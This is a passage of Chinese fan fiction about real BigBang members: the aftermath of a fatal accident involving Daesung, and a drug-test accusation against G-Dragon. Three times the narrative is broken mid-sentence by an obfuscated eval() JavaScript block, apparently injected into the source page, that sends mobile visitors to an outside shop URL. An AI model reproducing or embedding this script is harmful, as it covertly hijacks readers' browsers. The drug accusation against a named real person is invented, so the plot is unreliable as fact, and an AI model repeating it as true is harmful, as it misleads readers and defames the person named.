“楼上……现在怎么样?需要我帮忙做点什么吗?”初星轻声问。 至龙摇了摇头,脸颊在她颈窝蹭了蹭:“不用,经纪人哥和助理会处理。让他们安静待着就好,现在谁进去可能都是刺激,我…我只想在你这里待一会儿……” 他需要暂时逃离那里,需要在一个能让他完全卸下所有伪装和责任的地方,喘一口气,舔舐伤口。 “好,那就不上去。我们就在这里。”初星柔声说,“你累了,浑身都绷得紧紧的。先去洗个热水澡放松一下,好不好?我在这儿,哪儿都不去。” 至龙沉默地点了点头,又在她怀里依偎了好一会,才慢慢松开了手走向浴室,只是时不时回头看向她,眼框有些发红,眼神里充满了依赖。 他出来时,头发湿漉漉地耷拉着,发梢还滴着水珠,少了舞台上的耀眼和锋利,多了几分易碎的脆弱感。他接过递来的蜂蜜水,喝了几口,然后重重地倒进沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970391|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发里,空洞地望着天花板。 初星静静坐在他身边,握住他微凉的手臂。 过了一会儿,至龙的手机又亮了起来。他快速看了一眼,手指僵硬地回复,然后把手机屏幕朝下扣在茶几上,抬手用力地揉着眉心。 “欧巴还是不肯出来吗?”初星小声询问。 “永裴说给他拿了水和一点流食放在门口…几个小时了,一点动静都没有…他没动…”他深吸一口气,将脸埋进手里,肩膀垮了下去,“他不知道该怎么办…我们都不知道…面对这种事…能说什么…能做什么……” 初星的心跟着他的话语一阵阵抽紧。她能想到楼上那个紧闭的房门后是怎样的黑暗和绝望,而其他成员守在门外,心急如焚却无能为力。 “这是他的错,但也是意外。现在最重要的,不是追究对错,而是让他知道,无论发生什么,你们都在,永远不会离开他,会陪他一起度过。” 至龙抬起头,声音再次哽住,喉结剧烈地滚动着:“可是…我们的存在…真的有用吗?说什么都显得苍白…那是…一条活生生的人命啊…没了……” “有时候不需要说什么,”初星握紧了他的手,目光坚定地看着他,“只是在那里,陪着,让他感受到你们的存在,让他知道他不是一个人被丢在这片黑暗里面对这一切,就够了。就像你现在下来找我一样,你需要的不也是我在这里吗?” 至龙看着她,眼神复杂地闪烁着,反手紧握住她的手,力道大得几乎让她感到骨骼被挤压的疼痛,但他需要这份真实的触感来确认什么。 初星把至龙手机调成静音,放到一边,轻声提议:“要不要试着休息一下?哪怕只是闭着眼睛躺一会儿,让大脑放空片刻也好。” 至龙摇了摇头,声音疲惫却异常清醒,带着一丝恐惧:“睡不着,一闭眼,眼前就是那些事故照片,扭曲的车辆,或者…是大声自己在房间里缩在角落的样子…我害怕…” 初星没有再劝,只是挪了挪位置,拍了拍大腿。至龙顺从地侧身躺下,头枕在她大腿上,像寻求安慰的孩子一样本能蜷缩起身体。初星的手指轻轻插入他半干的发间,按摩着他的头皮和太阳穴。 也许是真的太累了,也许是她的安抚真的起了作用,至龙紧绷的身体慢慢松弛下来,呼吸也变得绵长。他没有完全睡着,眼睫偶尔还会轻轻颤动,但似乎进入了一种半梦半醒的休憩状态,暂时从残酷的现实中逃离了出来。 初星维持着姿势不动,俯视着男人安静的睡颜,眉头即使在休息中也微微蹙着。她的手依旧轻柔地抚过他的头发,无声地传递着支持和陪伴。 楼上还是寂静无声,楼下这一方小天地里,只有彼此依偎的呼吸声和心脏跳动的微弱共鸣。风暴远未结束,舆论的审判和法律的程序刚拉开序幕,未来的道路布满了荆棘与未知的坎坷。但至少在这漫漫长夜中,他们还能这样相互依偎着,从对方身上得到一点点熬过去的微光与勇气。 82.第 82 章 至龙枕在初星的腿上并没有沉睡多久,或许只是几个短暂而不安的浅眠周期。一点轻微的、来自楼上地板的响动——也许是脚步声,也许是门开关声——就让他猛地惊醒,身体弹坐起来。 他眼神里还残留着迷茫和血丝,但迅速被焦虑覆盖,“几点了?” 初星活动了一下发麻的腿,看了一眼时间,“刚过三点,楼上有动静吗?” 至龙已经抓起手机,飞快查看信息。“永裴刚发消息说…”他紧盯着屏幕,眉头却没有舒展,反而锁得更深,“大声他终于开门了,拿了放在门口的水进去。但他还是不说话…就只是拿了水,然后又关上门了。” 这算是一个微小的进展,但不足以让人安心。至龙烦躁地扒了下头发,在客厅里焦躁地踱了两步,脚步沉重。“不行,我上去看看。” “好。”初星也站起来环顾四周,想做点什么,比如弄点吃的,但脑海里浮现出自己把厨房搞得一团糟的画面,又果断放弃了这个念头。 她拿起自己的手机,屏幕的光照亮她同样带着倦意的脸:“我打电话叫醒经纪人欧巴,或者让助理现在就去买?买点清淡的粥、汤,还有容易入口的三明治什么的,多买一些送上来。” 至龙点点头,眼神柔和了一瞬:“嗯,好。让他们小心点,别被记者跟到。” “我知道。”初星已经开始翻找号码,指尖快速滑动,“你先上去吧,吃的到了我让他们直接送上去。” 他没再说什么,只是握了一下她的手,随后转身,像是重新披上沉重铠甲的战士,打开门,重新回到依旧被浓重阴霾笼罩的楼上。 食物拿到后,初星和经纪人一前一后上楼,来到宿舍门口打开门。 宿舍内的气氛更加压抑沉重,窗帘紧闭,晨曦被隔绝在外,只开了一盏角落里的昏暗落地灯。永裴和TOP坐在客厅中央,两人脸色灰败,眼窝深陷,听到开门声同时抬起头,面上带着期盼又害怕是坏消息的复杂情绪。胜利蜷在单人沙发里浅眠着,但眉头紧锁,嘴唇干裂。至龙站在紧闭的门前,背对着门口,身影在昏暗中显得格外孤寂。 听到动静,至龙转过身。他看衣服初星,又看向经纪人,用眼神询问了一下情况,经纪人摇了摇头,说记者还在,情况不乐观。 初星将袋子放在茶几上,动作轻柔。“买了些粥和汤,还有三明治,大家多少吃一点吧,不然身体撑不住。” 永裴勉强扯动嘴角,露出一个比哭还难看的笑容:“谢谢初星了。”但他没有动。TOP也低声道了谢,抬手揉了揉胀痛的太阳穴,同样没有食欲。 至龙走到初星身边,声音低哑得几乎只剩气音:“他刚才拿了水进去后,又没动静了。一点声音都没有。” 初星拿出最清淡的青菜粥,走到门边,犹豫了一下,然后轻缓地敲了敲门。 “大声欧巴?”她尽量让声音听起来平稳温和,不带任何压迫感,“我是初星。我们买了点粥,放在门口了,是青菜粥,很清淡的。你饿的时候就拿进去吃一点,好不好?多少吃一点。” 门内没有任何回应,连呼吸声都听不见。 初星等了几秒,心里叹了口气,弯下腰放在门边的地上。 她退回至龙身边,对他无奈摇了摇头。 至龙握紧了拳头,又无力地松开,垂在身侧。 永裴站起身,脚步虚浮地走到那碗粥旁边,蹲下身,视线与门把手齐平,对着那条狭窄的门缝低声说:“大声啊,粥放在这里了。是热的。想吃了就出来拿,嗯?或者你想吃什么,告诉哥,哥现在就去给你买。” 依旧没有任何回应。 TOP也走了过来,沉默地站在永裴身边。 经纪人看着这一幕,默默地把其他食物拿出来,一一摆开,像是在完成一项徒劳却必须进行的仪式。 初星站在至龙身边,距离近得能感受到他身体散发出的紧绷和颤抖。她伸出手,握住了他垂在身侧、冰凉的手指,传递着温暖。 时间在压抑的沉默中缓慢爬行,食物渐渐失去温度,变得冰冷,如同此刻宿舍内凝固的气氛。胜利也醒了,抱着膝盖,眼睛红肿地望着大声紧闭的房门。 永裴和TOP轮流在门口劝说,语气从最初的努力鼓励、试图唤醒,渐渐染上了难以掩饰的疲惫、无力和越来越深的焦虑。回应他们的,始终只有门内那片心慌的寂静。偶尔,门内传来的极其微弱的声响都会让门外所有人的身体一震,眼中燃起一丝希望火花,但那火花又在接下来更长久的寂静中熄灭,周而复始,折磨着每个人的神经。 经纪人走到角落接了几个电话,内容无非是公司公关的进展汇报、警方调查的最新情况、以及媒体那边越来越汹涌恶劣的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970392|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舆论风向。每接完一个电话,他回到客厅时的脸色就更沉郁一分。 突然,大声房门内传来一阵闷响。 所有人目光齐刷刷钉在那扇门上! 至龙猛然松开初星的手,一个箭步冲到门前,大力拍打着门板:“大声!大声!你怎么了?回答我!你没事吧?!” 里面依旧没有回应。 “大声啊!说句话!让哥知道你没事!求你了!”永裴也急了,不停捶着门板。 TOP眉头紧锁成川字,上前一步,做着是否要强行破门的决定。 就在这空气紧绷到极致的时刻,门内终于传来一声仿佛从喉咙深处挤出来的声音,带着浓重的鼻音和显而易见的绝望: “对不起……” 仅仅一句话,仿佛耗尽了他全部的生命力,也击溃了大家勉强维持的心理防线。 至龙的泪水不受控制地涌上眼眶,整个人脱力般抵着门板,声音也跟着发颤:“傻瓜…说什么对不起…不是你的错…根本不是你的错…你先开门,让哥看看你,好不好?让哥抱抱你…” “哥…对不起大家…对不起……”门内传来破碎的哽咽声,断断续续,痛苦万分,“我…我毁了…一切都毁了……” 他说不下去了,只剩下痛哭声从门缝里渗出来,像一把软刀子,一下下缓慢而残忍地割在每个人的心上。 胜利再也忍不住,捂着脸发出啜泣声。永裴仰起头,用力眨着眼睛,试图逼回那即将决堤的泪水。TOP闭上眼,再睁开时,眼底也是一片通红,他抬手,重重地按在至龙的肩上。 “没事了…大声啊…没事了…”至龙重复着无力却又是唯一能说的话,“哥在这里,我们都在,永裴在,胜铉哥在,胜利也在…我们都在这里陪着你,会好的,一定会好的…我们一起扛过去…” 那扇门依然没有打开,但门内传来的哭声,以及门外兄弟无力的安慰,却形成了一种残酷的连接。痛苦不再是被独自囚禁,而是弥漫开来,被所有人共同分担着。 这一刻,没有偶像,没有明星,只有五个被命运无常狠狠击中的年轻人,和一场不知何时才能看到尽头的漫长煎熬。 初星悄悄背过身,擦过眼角,走到厨房,开始烧水。她知道,自己能做的依然有限,但至少,能在他们哭泣的间隙,有一杯热水可以暖一暖冰凉的心。 83.第 83 章 几天过去了。大声情绪还是没有好转,只有极少数时候会在深夜,门口放置的水和一点流质食物会被取走,但几乎称不上是进食,更像是维持生命的最低限度本能。 初星大部分时间待在楼下,但每天都会上来几次,送些必需品,或者只是安静地陪至龙待上一小会儿。她看着至龙眼下的乌青越来越重,永裴和TOP脸颊凹陷,胜利更是沉默寡言,脸上属于忙内的活泼灵动消失殆尽。 下午,初星上来时,看到至龙又一次端着没怎么动过的饭菜离开,脸上是深不见底的无力感,脚步虚浮,仿佛随时会倒下。 她走到门边,侧耳倾听,里面安静得可怕,不详的预感传来,太阳穴也突突跳。 她转过身,看向客厅里或坐或站、被折磨得形销骨立的男人们,语气是从未有过的坚决和果断:“这样不行!” 几个人茫然地抬起头看她。 “我们不能就这么干等着了!大声欧巴再这样不吃不喝下去,身体会彻底垮掉的!心理上的坎过不去,我们可以慢慢陪他熬,但身体是底线!是不能再退的底线!”初星急切地说着。 至龙张了张嘴,想说什么,却被初星凌厉的眼神直接打断了。 “我知道你们在担心什么!担心刺激他,怕他情绪更激动,更抗拒,怕他做出更极端的事。”她的眼睛锐利地扫过每一个人,最后落在一直沉默的TOP身上,“但是!比起可能的刺激,让他活活耗干自己、无声无息地倒在里面,是更可怕、更确定会发生的事!我们必须让他吃点东西,必须让他接触到外界,哪怕……哪怕是用强的!” 至龙和永裴都愣住了,瞳孔微缩,被这个提议惊到,胜利也睁大了眼睛,下意识地捂住了嘴。 初星伸手指向房门,下了最终的决心,声音掷地有声:“我们把门踢开吧。现在,立刻。” “什么?不行!”至龙脱口反对,“万一他……万一他受到惊吓,情绪失控……”他不敢想象那后果。 “没有万一!他现在在里面可能已经虚弱得连反抗的力气都没有了!我们是在救他!胜铉欧巴!” 说完,她直接看向了Top。 TOP没有丝毫犹豫。在话音落下的瞬间,他眼神一凛,沉声命令:“都让开。离门远点。” 他的行动快过所有人的思考和反应。只见他后退两步,拉开距离,没有任何花哨的动作,猛地抬脚,用尽全身的力气和重量狠狠踹向门锁位置! “砰!!!” 一声巨大的撞击声炸响震撼了整个宿舍,门板发出痛苦的呻吟。 “胜铉哥!”永裴惊呼一声,想上前但看到TOP的背影和初星坚定的眼神,最终没有上前阻止。 至龙的心脏几乎停跳,想冲过去阻止,却被初星死死拉住手臂。 TOP又是一脚!更狠,更决绝! “砰!!!” 门锁周围的木头发出碎裂的声音。 第三脚! “哐当——!!!” 伴随着一声金属扭曲崩坏的刺耳噪音,门被踹开!门板带着惯性弹在内部的墙壁上,发出沉闷的回响。 门内的景象暴露在众人眼前。 房间窗帘紧闭,大声缩在角落的地上,身上只穿着单薄的睡衣,脸颊深深陷下去,颧骨突出,双眼紧闭,嘴唇干裂出血,脸色是不正常的死灰苍白。他被这突然的巨响惊动,艰难地抬起沉重的眼皮,眼神涣散,似乎无法聚焦。 “大声!”永裴第一个冲了进去,弯腰,用尽可能轻柔但坚定的力道,将地上那个轻飘飘的身体半抱半扶起来,“没事了,大声,哥在这里,没事了……我们都在……”他安抚着,将大声搀扶到床边坐下。 大声似乎想挣扎,但身体软绵绵的,只能发出意义不明的嗯音,头无力地靠在永裴肩上。 “水!温水!快!”初星立刻对离门口最近的胜利喊道。 胜利反应过来,以最快的速度冲向厨房——那里一直按照初星的嘱咐,恒温着温水和稀粥,以备不时之需。 至龙和TOP也围到床边,看着大声这副样子,心如刀绞,后悔没有早点破门。但眼前兄弟还活着的现实,也驱散了部分长久以来积压的无力。 很快,胜利端着温水跑了回来,小心翼翼地递给初星。 初星接过水杯,在床边坐下,杯沿耐心地凑近他的嘴唇。“大声欧巴,喝点水,慢慢来,就喝一点,润润喉咙,好不好?” 大声闭着眼,微微别开头,但永裴在他身后稳稳地扶着他,哽咽着鼓励道:“听话,大声,就喝一点,哥求你了,就一点。” 水杯倾斜,几滴温水润湿了他干涸的唇瓣。也许是身体的本能需求战胜了心理的抗拒,他的喉结滚动了一下,小口地吞咽了一点。接着,又是一点。 能喝水,就是好的迹象。大家都不约而同地松了一口气。 “粥!粥也一直温着!”胜利又跑回厨房,端来一小碗熬得烂烂的米粥。 初星接过碗,勺子舀起吹了吹,再次递到他嘴边:“再吃一点点这个,欧巴,就一点点,吃了才有力气,才能…才能去面对该面对的事情。” 这一次,抗拒更微弱了。他犹豫了几秒,还是接受了那一小勺的粥液。 就这样,一碗粥,在一勺一勺中,终于见了底。大声的体力似乎耗尽,他闭上眼,头偏向一边,呼吸还是很微弱,但脸色不再那么吓人了。 永裴扶着他,让他慢慢躺回床上,盖好被子。 宿舍里一片狼藉,但没有人去在意。 至龙长长地吁出一口气,一直紧绷的肩膀垮下来几分。他抬手抹了把脸,指尖触及一片湿凉,不知是汗还是泪。TOP走上前,试图将那扇坏掉的门板勉强合上,用旁边的椅子抵住,至少隔绝出一片相对完整的空间。胜利红着眼眶,收拾起空碗和水杯,拿回厨房清洗。 初星没有离开。她安静地坐在沙发上,用毯子裹住自己,陪着他们。 她的存在感很低,但像一道稳定的背景光,让这群慌乱无措的男人们知道,在这个狂风暴雨的世界里,他们不是孤军奋战。 时间慢慢过去。期间,永裴和胜利被至龙强行推去休息了一会儿。TOP也靠在墙边,抱着手臂闭眼小憩。至龙守在大声床边,眼睛熬得通红,生怕一眨眼,兄弟又会消失。 窗外天色渐暗,床上的大声发出一声痛苦的哀嚎,睫毛颤动,缓缓睁开了眼。眼神先是呆呆地望着天花板,然后聚焦,现实的沉重和痛苦再次清晰地回笼。 初星示意至龙先别急,自己走了过去,在床边蹲下,视线与他平行。 大声看到她,眼神瑟缩了一下,流露出想逃避的本能,但又无力地闭上了眼,偏过头去,抗拒着与外界的接触。 初星声音放得极轻,却带着穿透迷雾的坚定:“大声欧巴,你不能再这样了。” 大声的身体僵硬了一下,手指无意识地攥紧了被角。 “你这样做,伤害的只有你自己,还有这些守着你、担心你的人。”初星看着至龙、TOP,以及听到动静走出来的永裴和胜利,“他们这几天,不吃不睡,轮流守着你,比你更难受,更痛苦,更害怕失去你。你忍心吗?忍心看着他们因为你,也一起垮掉吗?” 大声的嘴唇抽搐着,还是不肯睁眼,但眼泪却从紧闭的眼角不断滑落。 “不管最后的结果怎么样,法律如何判定,舆论如何汹涌,我们都要先去道歉。这不是为了求得原谅,也不是为了减轻罪责,这是我们必须去做的事,是对逝者和他们家人的最起码的尊重,是我们身而为人,必须承担的责任。””初星的声音更加清晰,一字一句,砸进他被罪恶感封闭的心里。 终于,大声像是被这话深深刺痛,猛地睁开眼,眼底是一片自我厌弃的猩红,大声嘶吼着:“道歉?!我怎么道歉?!拿什么道歉?!我是杀人魔啊!我杀了人!我毁了别人的家庭!!” “你不是!你不是杀人魔!那是意外!一场谁都不想发生的、可怕的意外!” 她压下自己翻涌的情绪,直视着他被痛苦和罪恶感吞噬的眼睛:“但是,逃避和惩罚自己,解决不了任何问题,也改变不了已经发生的事。正因为痛苦,正因为无法挽回,我们才更要去道歉。去面对他们,去直视他们的悲痛和愤怒,去承担你该承担的责任,无论对方接不接受,无论法律最终如何判定,这都是你必须去走的路。” 大声愣愣地看着她,眼泪流得更凶,却有了一丝不同的东西在闪烁。 “等你好一点,能下床了,能支撑住了。我们陪你,一起去向受害者的家人道歉。尽你所能去表达悔恨,去请求他们的原谅。不管结果是怎么样,这一步,我们必须先走出去。躲在这里不吃不喝,折磨自己,也折磨所有爱你、在乎你的人,是最没用、最懦弱的方式。”初星的态度放缓,却带着清晰的路径指引。 大声怔怔地看着她,又缓缓看向围在床边、一个个眼眶通红、满脸担忧的兄弟们。至龙对他重重地点了点头,永裴抿着唇,眼神里是心疼和鼓励,TOP沉默却同样坚定,胜利已经又开始偷偷抹眼泪,但浑身充满了信念。 大声又开始流泪,像个孩子一样嚎啕大哭起来。哭声不再仅仅是痛苦和恐惧,更带着一种宣泄、一种被理解、以及……或许是一丝丝被强行拉回现实、必须去面对的责任感。 他没有再拒绝至龙伸过来抱住他肩膀的手,也没有推开永裴递过来的纸巾。 初星退后一步,将空间留给了他们兄弟。 能哭出来,就是好的开始。 大哭声开始转变为断断续续的抽泣,情绪也慢慢平息下来。 初星适时端来温水,至龙喂到大声嘴边。他顺从地小口喝着,温水滋润了他干涩嘶哑的喉咙,也滋润了他干涸的心田。 “该怎么做?”喝完,他忽然开口,像是自言自语,又像是在问所有人,“我去道歉…他们…他们会见我吗?他们会…会用怎样的眼神看我…” 这是几天来,他第一次主动思考之后的事情,第一次从自身的痛苦转向外部现实。 初星沉吟了一下,语气谨慎而务实:“现在警方的正式调查结论还没完全出来,法律程序也在进行中。我们贸然前去,可能不合时宜,也可能会给正在承受悲痛的受害者家属带来二次打扰和压力。我们先通过公司,或者委托律师,尝试表达我们希望当面道歉的意愿,完全尊重对方的时间和意愿,等待他们的回复。如果他们愿意见,无论什么时候,无论对方是什么态度,是斥责还是沉默,我们都必须去。” 大声听着,点了点头,拳头攥了又攥。 她老气横秋地叮嘱:“在这之前,欧巴你要先好起来。认真配合医生,好好吃饭,好好休息,养好身体,才有力气和清醒的头脑去面对这一切,去承受可能到来的一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一次次的拜访,一次次的道歉。有时会被情绪激动的家属拒之门外,只能在房门外站立、鞠躬;有时会面对难以消解的怨恨和痛哭,承受着言语的风暴。 他也不仅局限于口头道歉,开始思考如何真正地、长久地弥补。他通过公司设立了专项基金,用以长期资助逝者年迈父母的生活和医疗费用,承诺负责逝者年幼子女直至成年的教育费用,并表示会定期亲自去探望(如果对方允许的话)。 时间或许不能完全抚平伤痕,但真诚的悔过和切实的行动,终究能被感受到。 渐渐地,家属的态度开始有了细微的变化。从最初的激烈抗拒和痛哭斥责,到沉默地接受鞠躬和礼物,再到后来,偶尔能进行几句简短的对话。 最终,在一个同样沉重、窗外下着淅淅沥沥小雨的下午,逝者的妻子看着眼前这个又一次前来、比上次见面时更加清瘦、但眼神依旧恳切的年轻人,以及他身后同样深深鞠躬的成员们,她疲惫而沙哑地叹了口气,眼泪滑过她早已干涸的眼角。 “算了…他…也不是会愿意看到别人因为他的事…一直活在痛苦和折磨里的人…” “以后…好好生活吧…都好好的,别再发生…这种让人心碎的事了……” 这句话,并非真正的的原谅,更多的是一种放下和无奈。但对于大声和成员来说,这已经是黑暗中照进来的第一缕,也是最珍贵的一缕微光。 大声再次鞠躬,泣不成声:“谢谢…谢谢您…我会记住一辈子,会用我一辈子来记住,来赎罪…真的谢谢……” * 阳光明媚的午后,成员们散落在客厅各处,至龙和永裴窝在沙发里,头凑在一起,讨论着一段新旋律的编曲细节;TOP坐在窗边,翻看着一本厚厚的艺术画册;胜利盘腿坐在地毯上,刷着手机,偶尔发出一点轻微的笑声。大声捧着一杯水,虽然还是比事故前沉默了许多,但眉宇间的阴郁已经淡了不少,他正望着窗外明净的蓝天,眼神平静。 初星从楼下上来,手里还拿着一把金黄熟透的香蕉。 她走过去,挑出一根品相的,递到大声面前:“大声欧巴,给你。你爱吃的香蕉。” 很简单的一句话,很寻常的一个动作。没有刻意安慰,没有小心避开可能的敏感,就只是顺手记起了朋友喜欢的水果,如同以往成千上万次日常互动中的一次。 大声呆了一下,看着眼前的香蕉,又抬眼看向初星浅笑的脸。几秒钟的停顿后,他伸出手,接过,嘴角向上牵动了一下,露出一个久违的弧度。 “……谢谢。”他低声说。 “哇,怒那好偏心,只给大声哥!”胜利故意嚷嚷着搞怪,“我也要吃香蕉!我最喜欢吃香蕉了!” 永裴笑着推了他一下,调侃道:“呀,你自己没长手吗?旁边还有,自己去拿!” 至龙看着这一幕,看着大声接过香蕉时脸上真实的笑意,眼神柔软了下来。 他知道,这根香蕉不仅仅是一根水果,它像一个温暖的信号,宣告着那些充满伤痛的日子正在真正成为过去,日常的、琐碎的、平淡却无比珍贵的生活在一点点回归正轨。 TOP也从画册里抬起头,推了推眼镜,翘起一边嘴角,又重新将目光落回书页上。 大声低下头,慢慢剥开香蕉皮,咬了一小口,甜糯的味道在口腔里化开。 一切似乎都没有变,一切又似乎都不同了。伤口还在,但已在缓慢愈合。前路还长,但他们依旧并肩在一起。 84.第 84 章 那场风暴已经过去了一段时间,表面的生活似乎恢复了往常的节奏。但初星敏锐地察觉到,至龙有些不对劲。 这种不对劲并非源于外部压力,更像是内部的焦躁和游离。他会在团队讨论新曲编曲时,突然眼神放空,焦点不知飘向了何处;和她相处时,有时会陷入长时间的沉默,不像往常那样黏人地凑过来撒娇,只是安静地坐在一旁,指尖摩挲着茶杯的杯沿或是她衣角的一小块布料;甚至夜里,她能感觉到他翻来覆去的动静,睡得极不安稳。 起初,初星以为他还在为舆论余波担忧,或者只是创作遇到了瓶颈,陷入了艺术家的周期性低潮。 “至龙?”她放下手中的平板,转向又一次对着窗外夜色发呆的至龙,“你最近怎么了?总感觉你心不在焉的,好像有什么心事?” 至龙像是被惊醒般,迅速转过头,条件反射地堆起一个他惯常的撒娇笑容:“嗯?没有啊。可能就是最近天气太闷了,有点提不起精神,累了吧。” 他边说边凑过来,习惯性地想用身体的蹭蹭糊弄过去,“我们 yeobo 是在关心我呀?真好……” 若是平时,初星很可能就被他这套带偏了。但这次,他笑容底下的那一丝僵硬和眼底深处藏不住的焦躁,没有逃过她的眼睛。 她抬手抵住他的肩膀,将他推开一点距离,认真地看着他:“权至龙,你骗不了我的。到底怎么了?告诉我。” 至龙的笑容僵了一下,随即慢慢敛去。他避开她直视的目光,低着头,视线落在自己相互绞紧的手指上,小声说着:“真的没什么。可能就是…天气太热了,心里有点闷,静不下来。” 但这个借口苍白得连他自己听起来都缺乏说服力。 接下来的时间,这种情况愈演愈烈。他会莫名叹气,对着手机屏幕皱眉,接到某些没有电话时,会刻意走到阳台或书房去接,声音压得极低。 初星又尝试着问了几次,语气一次比一次温和,也一次比一次直接。但他要么转移话题,引向晚餐想吃什么或者某部新上映的电影;要么就用更黏人的亲昵来堵她的嘴,试图用身体语言掩盖内心。但这反而让初星更加确定了一定有事发生,而且是让他感到难以启齿、或者正在进行艰难和痛苦的纠结的事情。 被排除在外并不好受,尤其是在对他这种恨不得挂在她身上的人来说,更显得刺眼。担忧和不被信任的酸涩在她心里发酵。 终于,在一个格外闷热的傍晚,至龙又一次用勺子无意识地搅动着碗里的汤,眼神空洞地望着某处,甚至连初星叫了他两声都没有听到。 初星放下筷子,陶瓷与桌面接触发出清脆的声响。 至龙一震,茫然抬头:“嗯?怎么了?娜比?” 初星看着他,没有再迂回试探,直接问道:“权至龙,你最近到底怎么回事?是公司又有什么棘手的事?还是……你身体不舒服,没告诉我?” 她心里又闪过一个更坏的念头,喉咙发紧,“…或者,你是不是……做了什么对不起我的事?” 最后一个问题问出口,连她自己都愣了一下,但至龙近段时间以来的心虚、回避和焦躁,实在太像那么回事了。 至龙瞳孔瞬间收缩,反应激烈得近乎失控:“没有!怎么可能!我怎么可能做对不起你的事!” 他几乎是低吼出来,还差点打翻了面前的水杯,水流溅出,在桌面上晕开一小片深色的痕迹。 但他依旧没有给出任何实质性的解释,只是更用力地挠了挠头发,语气带了点痛苦的恳求:“娜比啊…你别再问了…求你了…再给我一点时间…等我…等我理清楚头绪,处理好…我一定第一个告诉你,好不好?” 初星看着他,看了很久很久。 他承认了有事发生,却选择了隐瞒。 想到这她突然感觉后背一片凉意,蔓延到了心脏处冰凉。也不再逼问他,只是淡淡地说了句:“好,我不问了。” 她重新拿起筷子吃饭,仿佛刚才的对话没有发生。但餐桌上的气氛已经彻底冷了下来。 至龙看着她平静得近乎冷漠的侧脸,心绪纷杂,一阵一阵的钝痛,比之前更难受百倍。 他知道她生气了,失望了。他张了张嘴,却还是一个字也吐不出来。 …… 令人窒息的低气压持续笼罩着他们的小小世界。至龙还是很沉默,常常一个人待在书房,对着乐器或电脑一坐就是几个小时,却听不到任何旋律或节奏。他的挣扎和焦虑都快炸出来了,但依然什么也不肯说。初星也不再询问,态度疏离冷淡。 直到几天后的清晨。 初星醒来后发现身边的位置是空的。这很反常,休息的时候至龙通常比她醒得晚,或会像只树袋熊一样缠着她,赖床到不得不起。 她心里的不安感骤然放大,有些慌乱地坐起身,拿过手机解锁,几条带着猩红色“爆”字标签的新闻推送弹出,狠狠钉入她的眼帘—— **【独家重磅】:Bigbang成员 G-Dragon 权至龙涉嫌吸毒!警方毛发检测呈阳性!】 **【速报】:YG旗下当红偶像卷入吸毒风波!警方已立案调查!】 **【确认】:毛发检测结果确凿!Bigbang 再陷巨大危机!前途未卜!】 手机从骤然失力的手中滑落,砸在地上,发出钝响。 初星僵坐在床上,四肢冰凉刺骨,耳朵里嗡嗡作响,外界的声音都消失了,只剩下脑海中的轰鸣声。 她掀开被子,赤着脚就冲出了卧室。 “权至龙!!!”她尖利颤抖的声音在空旷的室内回荡,带着绝望的回音。 客厅里,没有看到至龙站在窗边常待的位置。目光急扫,最终在沙发最深的、被阴影笼罩的角落里发现了他。 他蜷缩在那里,双臂紧紧抱着膝盖,头埋在臂弯里,缩成小小的一团。听到呼喊,缓缓抬起头。 他的脸上没有任何激烈的情绪,眼神空洞得可怕,仿佛所有的光都被抽走了,只剩下虚无的绝望。他看着她,嘴唇翕动了几下,才发出点干涩得几乎听不见的声音: “你……看到了。” 不是疑问,是陈述。他早已知道了。 初星冲到他面前,将那些刺眼的标题怼到他眼前,声音剧烈发抖:“这就是你一直瞒着我的事情?!这就是你所谓的需要时间‘处理好’的事情?!权至龙!你看着我!你告诉我!这到底是不是真的?!!” 至龙的目光掠过那些足以将他职业生涯摧毁的大字,没有激动否认,也没有辩解。只是将视线移回初星脸上,眼神平静无波,诡异得令人心慌。 他慢半拍地摇头,声音特别轻,却带着万念俱灰的疲惫和笃定: “我没有吸毒,娜比。真的……没有。” 他停顿了一下,眼睛茫然地看向虚空中的某一点,仿佛在对着一个看不见的审判者低语,又像是在喃喃自语:“为什么……会这样……为什么……没有一个人……愿意相信我……” 初星看着他像是早已预见了结局,并且接受了这残酷命运的模样,比任何激烈的辩解、愤怒的咆哮都更让她心惊和刺疼。 她看着他蜷缩在阴影里,被无形的黑暗一点点吞噬的样子,终究还是把那些质问和愤怒咽进喉咙。 如果……如果他说的是真的…… 如果这背后真的有隐情或可怕的误会…… 那这种无处申辩、被全世界用最恶毒的标签钉上耻辱柱的绝望,足以摧毁任何人。 她蹲下身,试图看清他低垂的眼:“至龙……” 他却像是被这声呼唤惊扰,脸埋回膝盖里,只留下一个拒绝交流的背影。 初星张了张嘴,却不知道该说什么。质问“为什么检测会是阳性”已经没有意义,他自己都不知道答案。安慰“一切都会好的”更像是残忍的讽刺,在铁证如山的检测报告和舆论审判面前,不堪一击。 